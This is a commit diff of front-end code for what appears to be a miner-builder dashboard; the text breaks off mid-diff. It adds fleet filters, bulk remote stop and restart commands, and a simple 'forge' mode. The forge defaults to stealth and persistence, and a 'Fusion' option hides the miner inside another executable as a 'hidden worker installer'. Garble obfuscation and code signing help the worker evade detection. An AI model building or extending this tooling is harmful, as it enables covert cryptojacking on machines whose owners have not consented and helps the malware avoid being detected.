Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
@@ -1,11 +1,22 @@
|
||||
import { useState, useEffect } from 'react';
|
||||
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample } from '../types';
|
||||
import HashrateChart from '../components/Charts/HashrateChart';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import AgentListItem from '../components/Fleet/AgentListItem';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import {
|
||||
DEFAULT_FLEET_FILTERS,
|
||||
filterFleetAgents,
|
||||
agentIsIdleMiner,
|
||||
formatHashrate,
|
||||
formatUptime,
|
||||
} from '../help/fleetFilters';
|
||||
import type { FleetFilterState } from '../help/fleetFilters';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import '../components/Fleet/FleetToolbar.css';
|
||||
import '../components/Fleet/AgentRemoteActions.css';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -13,11 +24,19 @@ export default function AgentsPage() {
|
||||
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
|
||||
const [agents, setAgents] = useState<Agent[]>([]);
|
||||
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
|
||||
const [expandedId, setExpandedId] = useState<string | null>(null);
|
||||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||||
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
|
||||
const [bulkBusy, setBulkBusy] = useState(false);
|
||||
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [loadError, setLoadError] = useState('');
|
||||
const [logContent, setLogContent] = useState('');
|
||||
const [logLoading, setLogLoading] = useState(false);
|
||||
const [notesDraft, setNotesDraft] = useState('');
|
||||
const [tagsDraft, setTagsDraft] = useState('');
|
||||
const [metaSaving, setMetaSaving] = useState(false);
|
||||
const [metaMsg, setMetaMsg] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
api.listAgents()
|
||||
@@ -33,6 +52,8 @@ export default function AgentsPage() {
|
||||
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
|
||||
if (updated) {
|
||||
setSelectedAgent(updated);
|
||||
setNotesDraft(updated.notes || '');
|
||||
setTagsDraft((updated.tags || []).join(', '));
|
||||
} else {
|
||||
setSelectedAgent(null);
|
||||
setLogContent('');
|
||||
@@ -45,6 +66,11 @@ export default function AgentsPage() {
|
||||
}
|
||||
}, [selectedAgent?.id, agentLogs]);
|
||||
|
||||
const filteredAgents = useMemo(
|
||||
() => filterFleetAgents(agents, filters),
|
||||
[agents, filters]
|
||||
);
|
||||
|
||||
const refreshLog = async (refresh = false) => {
|
||||
if (!selectedAgent) return;
|
||||
setLogLoading(true);
|
||||
@@ -60,6 +86,9 @@ export default function AgentsPage() {
|
||||
|
||||
const selectAgent = async (agent: Agent) => {
|
||||
setSelectedAgent(agent);
|
||||
setNotesDraft(agent.notes || '');
|
||||
setTagsDraft((agent.tags || []).join(', '));
|
||||
setMetaMsg('');
|
||||
setLogContent('');
|
||||
try {
|
||||
const history = await api.getAgentStats(agent.id, 60);
|
||||
@@ -69,15 +98,75 @@ export default function AgentsPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const saveMeta = async () => {
|
||||
if (!selectedAgent) return;
|
||||
setMetaSaving(true);
|
||||
setMetaMsg('');
|
||||
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
|
||||
try {
|
||||
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
|
||||
const updated = res.agent;
|
||||
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
|
||||
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
|
||||
setMetaMsg('Saved');
|
||||
setTimeout(() => setMetaMsg(''), 2000);
|
||||
} catch (err) {
|
||||
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
|
||||
} finally {
|
||||
setMetaSaving(false);
|
||||
}
|
||||
};
|
||||
|
||||
const toggleSelect = useCallback((id: string, on: boolean) => {
|
||||
setSelectedIds((prev) => {
|
||||
const next = new Set(prev);
|
||||
if (on) next.add(id);
|
||||
else next.delete(id);
|
||||
return next;
|
||||
});
|
||||
}, []);
|
||||
|
||||
const handleBulkAction = async (action: string) => {
|
||||
const ids = [...selectedIds];
|
||||
if (ids.length === 0) return;
|
||||
|
||||
let targetIds = ids;
|
||||
if (action === 'restart_idle') {
|
||||
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
|
||||
if (targetIds.length === 0) {
|
||||
alert('No selected online agents with idle hashrate (< 100 H/s).');
|
||||
return;
|
||||
}
|
||||
action = 'restart';
|
||||
}
|
||||
|
||||
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
|
||||
if (onlineIds.length === 0) {
|
||||
alert('No online agents in selection.');
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
|
||||
|
||||
setBulkBusy(true);
|
||||
try {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
|
||||
<h1>Fleet Roster</h1>
|
||||
<p className="page-subtitle">Inspect each node — hashrate history, hardware, share ledger.</p>
|
||||
<p className="page-subtitle">Compact list — click a row to expand quick actions or inspect full telemetry on the right.</p>
|
||||
</div>
|
||||
<span className="header-count font-tech">{agents.length} NODES</span>
|
||||
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
|
||||
</header>
|
||||
|
||||
{loadError && (
|
||||
@@ -98,45 +187,74 @@ export default function AgentsPage() {
|
||||
</NeonCard>
|
||||
) : (
|
||||
<div className="agents-layout">
|
||||
<div className="agents-list">
|
||||
{agents.map((agent) => (
|
||||
<div
|
||||
key={agent.id}
|
||||
className={`neon-card agent-list-item ${selectedAgent?.id === agent.id ? 'selected' : ''}`}
|
||||
onClick={() => selectAgent(agent)}
|
||||
>
|
||||
<div className="agent-list-header">
|
||||
<div className="agent-list-name">
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>
|
||||
{agent.status}
|
||||
</span>
|
||||
</div>
|
||||
<div className="agent-list-details">
|
||||
<span>Hashrate: {formatHashrate(agent.hashrate_15m)}</span>
|
||||
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
|
||||
</div>
|
||||
<div className="agent-list-meta">
|
||||
<span>{agent.ip}</span>
|
||||
<span>v{agent.version || '?'}</span>
|
||||
<span>{agent.cpu_cores} cores</span>
|
||||
</div>
|
||||
<AgentRemoteActions agent={agent} compact />
|
||||
</div>
|
||||
))}
|
||||
<div className="agents-list-panel">
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
filters={filters}
|
||||
onChange={setFilters}
|
||||
selectedCount={selectedIds.size}
|
||||
onBulkAction={handleBulkAction}
|
||||
bulkBusy={bulkBusy}
|
||||
/>
|
||||
<div className="agents-list">
|
||||
{filteredAgents.map((agent) => (
|
||||
<AgentListItem
|
||||
key={agent.id}
|
||||
agent={agent}
|
||||
selected={selectedAgent?.id === agent.id}
|
||||
expanded={expandedId === agent.id}
|
||||
selectable
|
||||
checked={selectedIds.has(agent.id)}
|
||||
onCheck={(on) => toggleSelect(agent.id, on)}
|
||||
onSelect={() => void selectAgent(agent)}
|
||||
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
|
||||
latestWsMessage={latestMessage}
|
||||
/>
|
||||
))}
|
||||
{filteredAgents.length === 0 && (
|
||||
<p className="form-hint">No agents match filters.</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{selectedAgent && (
|
||||
<NeonCard accent="cyan" className="agent-detail" hud>
|
||||
<h2 className="font-display">{selectedAgent.name}</h2>
|
||||
{(selectedAgent.tags?.length ?? 0) > 0 && (
|
||||
<div style={{ marginBottom: '0.5rem' }}>
|
||||
{selectedAgent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="detail-section agent-meta-editor">
|
||||
<h3>Notes & Tags</h3>
|
||||
<p className="form-hint">Labels like "Living room PC" or "Rack B" — stored on the server, shown on list cards.</p>
|
||||
<textarea
|
||||
className="input"
|
||||
rows={2}
|
||||
placeholder="Notes about this machine…"
|
||||
value={notesDraft}
|
||||
onChange={(e) => setNotesDraft(e.target.value)}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono agent-meta-tags-input"
|
||||
placeholder="Tags: living-room, rack-b (comma separated)"
|
||||
value={tagsDraft}
|
||||
onChange={(e) => setTagsDraft(e.target.value)}
|
||||
/>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
|
||||
{metaSaving ? 'Saving…' : 'Save notes & tags'}
|
||||
</button>
|
||||
{metaMsg && <span className="form-hint">{metaMsg}</span>}
|
||||
</div>
|
||||
|
||||
<div className="agent-detail-grid">
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Status</span>
|
||||
<span className={`status-badge ${selectedAgent.status}`}>
|
||||
{selectedAgent.status}
|
||||
</span>
|
||||
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
|
||||
</div>
|
||||
<div className="detail-item">
|
||||
<span className="detail-label">Wallet</span>
|
||||
@@ -222,8 +340,12 @@ export default function AgentsPage() {
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>Remote Control</h3>
|
||||
{selectedAgent.status !== 'online' && (
|
||||
<p className="form-hint">Agent is offline — remote actions are disabled until it reconnects.</p>
|
||||
)}
|
||||
<AgentRemoteActions
|
||||
agent={selectedAgent}
|
||||
online={selectedAgent.status === 'online'}
|
||||
latestWsMessage={latestMessage}
|
||||
onCommandSent={(action: string) => {
|
||||
if (action === 'get_log') refreshLog(true);
|
||||
@@ -232,7 +354,7 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
|
||||
<div className="detail-section">
|
||||
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading}>{logLoading ? '…' : 'Refresh'}</button></h3>
|
||||
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
|
||||
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
|
||||
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
|
||||
</div>
|
||||
@@ -246,18 +368,3 @@ export default function AgentsPage() {
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function formatHashrate(h: number): string {
|
||||
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
|
||||
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
|
||||
return `${h.toFixed(0)} H/s`;
|
||||
}
|
||||
|
||||
function formatUptime(seconds: number): string {
|
||||
const d = Math.floor(seconds / 86400);
|
||||
const h = Math.floor((seconds % 86400) / 3600);
|
||||
const m = Math.floor((seconds % 3600) / 60);
|
||||
if (d > 0) return `${d}d ${h}h`;
|
||||
if (h > 0) return `${h}h ${m}m`;
|
||||
return `${m}m`;
|
||||
}
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
import { useState, useEffect, useRef, useMemo } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types';
|
||||
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { SETUP_CHEATSHEET } from '../help/settingHelp';
|
||||
import { forgeDefaultsFromServer } from '../help/forgeDefaults';
|
||||
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
|
||||
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
|
||||
import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
@@ -17,8 +17,31 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import '../components/Fleet/FleetPanels.css';
|
||||
import './Pages.css';
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
return forgeDefaultsFromServer(config, serverInfo);
|
||||
function formatBytes(n: number): string {
|
||||
if (n < 1024) return `${n} B`;
|
||||
const units = ['KB', 'MB', 'GB'];
|
||||
let v = n / 1024;
|
||||
for (const u of units) {
|
||||
if (v < 1024) return `${v.toFixed(2)} ${u}`;
|
||||
v /= 1024;
|
||||
}
|
||||
return `${v.toFixed(2)} TB`;
|
||||
}
|
||||
|
||||
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
|
||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||
}
|
||||
|
||||
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
|
||||
|
||||
function loadSimpleMode(): boolean {
|
||||
try {
|
||||
const v = localStorage.getItem(FORGE_MODE_KEY);
|
||||
if (v === 'advanced') return false;
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
export default function BuilderPage() {
|
||||
@@ -30,9 +53,22 @@ export default function BuilderPage() {
|
||||
const [showRecent, setShowRecent] = useState(false);
|
||||
const [loadingDefaults, setLoadingDefaults] = useState(true);
|
||||
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
|
||||
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
|
||||
const [estimateLoading, setEstimateLoading] = useState(false);
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||
|
||||
const setForgeMode = (simple: boolean) => {
|
||||
setSimpleMode(simple);
|
||||
try {
|
||||
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
};
|
||||
|
||||
const refreshEndpointInfo = async () => {
|
||||
setRefreshingEndpoints(true);
|
||||
@@ -56,11 +92,13 @@ export default function BuilderPage() {
|
||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo()])
|
||||
.then(([config, info]) => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
|
||||
.then(([config, info, builds]) => {
|
||||
setServerInfo(info);
|
||||
setListenPort(config.port || info.port || 8989);
|
||||
setForm(defaultsFromConfig(config, info));
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates }));
|
||||
})
|
||||
.catch((err) => {
|
||||
console.error(err);
|
||||
@@ -227,6 +265,24 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const applyRecommendedDefaults = async () => {
|
||||
if (!form) return;
|
||||
try {
|
||||
const [config, info, builds] = await Promise.all([
|
||||
api.getConfig(),
|
||||
api.getServerInfo(),
|
||||
api.listBuilds().catch(() => [] as BuildRecord[]),
|
||||
]);
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
} catch (err: unknown) {
|
||||
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
|
||||
}
|
||||
};
|
||||
|
||||
const updateField = (field: keyof BuildRequest, value: unknown) => {
|
||||
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
|
||||
};
|
||||
@@ -243,6 +299,44 @@ export default function BuilderPage() {
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
|
||||
useEffect(() => {
|
||||
if (!form?.fusion_enabled || !fusionPrepFile) {
|
||||
setFusionEstimate(null);
|
||||
setEstimateError('');
|
||||
return;
|
||||
}
|
||||
let cancelled = false;
|
||||
const timer = window.setTimeout(() => {
|
||||
setEstimateLoading(true);
|
||||
setEstimateError('');
|
||||
api.estimateFusion(form, fusionPrepFile)
|
||||
.then((est) => {
|
||||
if (!cancelled) setFusionEstimate(est);
|
||||
})
|
||||
.catch((err: Error) => {
|
||||
if (!cancelled) {
|
||||
setFusionEstimate(null);
|
||||
setEstimateError(err.message || 'Estimate failed');
|
||||
}
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setEstimateLoading(false);
|
||||
});
|
||||
}, 350);
|
||||
return () => {
|
||||
cancelled = true;
|
||||
window.clearTimeout(timer);
|
||||
};
|
||||
}, [
|
||||
form?.fusion_enabled,
|
||||
form?.fusion_output_name,
|
||||
form?.output_dir,
|
||||
form?.obfuscate,
|
||||
form?.sign_build,
|
||||
form?.worker_name,
|
||||
fusionPrepFile,
|
||||
]);
|
||||
|
||||
if (loadingDefaults || !form) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
@@ -283,10 +377,29 @@ export default function BuilderPage() {
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
<p className="page-subtitle">
|
||||
Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.
|
||||
{simpleMode
|
||||
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
|
||||
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
|
||||
</p>
|
||||
</div>
|
||||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
|
||||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(true)}
|
||||
title={FIELD_HELP.forge_simple_mode}
|
||||
>
|
||||
Simple
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||||
onClick={() => setForgeMode(false)}
|
||||
>
|
||||
Advanced
|
||||
</button>
|
||||
</div>
|
||||
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
||||
Recent Builds
|
||||
</button>
|
||||
@@ -365,31 +478,41 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
<div className="card builder-form">
|
||||
<div className="forge-rules-banner">
|
||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
||||
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
||||
</p>
|
||||
<div className="forge-rules-grid">
|
||||
<div className="forge-rule-card">
|
||||
<strong>⛏ Baked into installer</strong>
|
||||
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🖥 Server folder only</strong>
|
||||
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🔒 Auto-coupled</strong>
|
||||
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>✕ Cannot forge until fixed</strong>
|
||||
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
||||
{simpleMode ? (
|
||||
<div className="forge-simple-banner card">
|
||||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
|
||||
Reset to recommended defaults
|
||||
</button>
|
||||
</div>
|
||||
) : (
|
||||
<div className="forge-rules-banner">
|
||||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||||
<p className="form-hint" style={{ margin: 0 }}>
|
||||
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
||||
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
||||
</p>
|
||||
<div className="forge-rules-grid">
|
||||
<div className="forge-rule-card">
|
||||
<strong>⛏ Baked into installer</strong>
|
||||
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🖥 Server folder only</strong>
|
||||
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>🔒 Auto-coupled</strong>
|
||||
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
||||
</div>
|
||||
<div className="forge-rule-card">
|
||||
<strong>✕ Cannot forge until fixed</strong>
|
||||
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{liveNotices.length > 0 && (
|
||||
<div className="forge-live-notices">
|
||||
@@ -402,10 +525,11 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
<h2>Build Miner Installer</h2>
|
||||
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
|
||||
<p className="form-description">
|
||||
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
|
||||
It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.
|
||||
{simpleMode
|
||||
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
|
||||
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
|
||||
</p>
|
||||
|
||||
<form onSubmit={handleSubmit}>
|
||||
@@ -428,6 +552,7 @@ export default function BuilderPage() {
|
||||
onChange={(e) => updateField('worker_name', e.target.value)}
|
||||
required
|
||||
/>
|
||||
<FieldHint field="worker_name" />
|
||||
</div>
|
||||
<div className="form-group endpoint-group">
|
||||
<div className="endpoint-header">
|
||||
@@ -483,8 +608,10 @@ export default function BuilderPage() {
|
||||
onChange={(e) => updateField('wallet', e.target.value)}
|
||||
required
|
||||
/>
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
||||
<div className="label-row">
|
||||
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
|
||||
@@ -503,8 +630,11 @@ export default function BuilderPage() {
|
||||
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Pool Configuration"
|
||||
@@ -823,12 +953,16 @@ export default function BuilderPage() {
|
||||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Fusion (prep + worker)"
|
||||
badge="baked"
|
||||
description="Optional — bundles prep.exe with the miner. Forces background display when enabled."
|
||||
description={simpleMode
|
||||
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
|
||||
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
@@ -849,12 +983,19 @@ export default function BuilderPage() {
|
||||
type="file"
|
||||
className="input"
|
||||
accept=".exe,application/octet-stream"
|
||||
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
|
||||
onChange={(e) => {
|
||||
const f = e.target.files?.[0] || null;
|
||||
setFusionPrepFile(f);
|
||||
if (f?.name) {
|
||||
updateField('fusion_output_name', f.name);
|
||||
}
|
||||
}}
|
||||
/>
|
||||
{fusionPrepFile && (
|
||||
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
|
||||
)}
|
||||
</div>
|
||||
{!simpleMode && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
|
||||
@@ -873,13 +1014,80 @@ export default function BuilderPage() {
|
||||
<FieldHint field="fusion_output_name" />
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{simpleMode && fusionPrepFile && (
|
||||
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
|
||||
)}
|
||||
<p className="form-hint">
|
||||
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
|
||||
</p>
|
||||
{(estimateLoading || fusionEstimate || estimateError) && (
|
||||
<div className="fusion-estimate-panel card">
|
||||
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
|
||||
{estimateLoading && <p className="form-hint">Calculating…</p>}
|
||||
{estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
|
||||
{fusionEstimate && (
|
||||
<>
|
||||
<ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
|
||||
<li className="preflight-item preflight-ok">
|
||||
<span className="preflight-icon">✓</span>
|
||||
<span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
|
||||
</li>
|
||||
<li className="preflight-item preflight-ok">
|
||||
<span className="preflight-icon">+</span>
|
||||
<span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
|
||||
</li>
|
||||
<li className="preflight-item preflight-ok">
|
||||
<span className="preflight-icon">+</span>
|
||||
<span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
|
||||
</li>
|
||||
<li className="preflight-item preflight-warn">
|
||||
<span className="preflight-icon">≈</span>
|
||||
<span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
|
||||
</li>
|
||||
</ul>
|
||||
<p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
|
||||
{fusionEstimate.export_path && (
|
||||
<p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
|
||||
)}
|
||||
<p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
|
||||
{fusionEstimate.notes?.map((note) => (
|
||||
<p key={note} className="form-hint">{note}</p>
|
||||
))}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Build pipeline"
|
||||
badge="server-only"
|
||||
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
|
||||
/>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
|
||||
onChange={(e) => updateField('obfuscate', e.target.checked)} />
|
||||
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
|
||||
</label>
|
||||
<FieldHint field="obfuscate" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
